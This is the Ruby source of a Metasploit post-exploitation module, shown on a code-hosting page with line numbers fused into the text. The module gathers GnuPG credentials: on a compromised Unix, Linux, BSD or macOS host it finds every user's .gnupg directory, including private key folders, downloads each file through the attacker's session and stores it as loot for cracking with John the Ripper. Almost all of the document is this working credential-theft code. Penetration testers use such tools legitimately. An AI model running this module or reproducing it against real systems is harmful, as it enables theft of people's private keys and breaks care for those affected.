Path: blob/master/modules/post/multi/gather/gpg_creds.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Gather GnuPG Credentials Collection',14'Description' => %q{15This module will collect the contents of all users' .gnupg directories on the targeted16machine. Password protected secret keyrings can be cracked with John the Ripper (JtR).17},18'License' => MSF_LICENSE,19'Author' => [20'Dhiru Kholia <dhiru[at]openwall.com>', # Original author21'Henry Hoggard' # Add GPG 2.1 keys, stop writing empty files22],23'Platform' => %w[bsd linux osx unix],24'SessionTypes' => ['shell', 'meterpreter'],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [],28'Reliability' => []29}30)31)32end3334# This module is largely based on ssh_creds and firefox_creds.rb.3536def run37paths = []38print_status('Finding GnuPG directories')39dirs = enum_user_directories40sub_dirs = ['private-keys-v1.d']4142dirs.each do |dir|43gnupg_dir = "#{dir}/.gnupg"44next unless directory?(gnupg_dir)4546paths << gnupg_dir4748sub_dirs.each do |sub_dir|49paths << "#{gnupg_dir}/#{sub_dir}" if directory?("#{gnupg_dir}/#{sub_dir}")50end51end5253if paths.nil? || paths.empty?54print_error('No users found with a GnuPG directory')55return56end5758download_loot(paths)59end6061def download_loot(paths)62print_status("Looting #{paths.count} directories")63paths.each do |path|64path.chomp!65sep = '/'66files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)6768files.each do |file|69target = "#{path}#{sep}#{file}"70if directory?(target)71next72end7374print_status("Downloading #{target} -> #{file}")75data = read_file(target)76file = file.split(sep).last77type = file.gsub(/\.gpg.*/, '').gsub(/gpg\./, '')78if data.to_s.empty?79vprint_error("No data found for #{file}")80else81loot_path = store_loot("gpg.#{type}", 'text/plain', session, data,82"gpg_#{file}", "GnuPG #{file} File")83print_good("File stored in: #{loot_path}")84end85end86end87end88end899091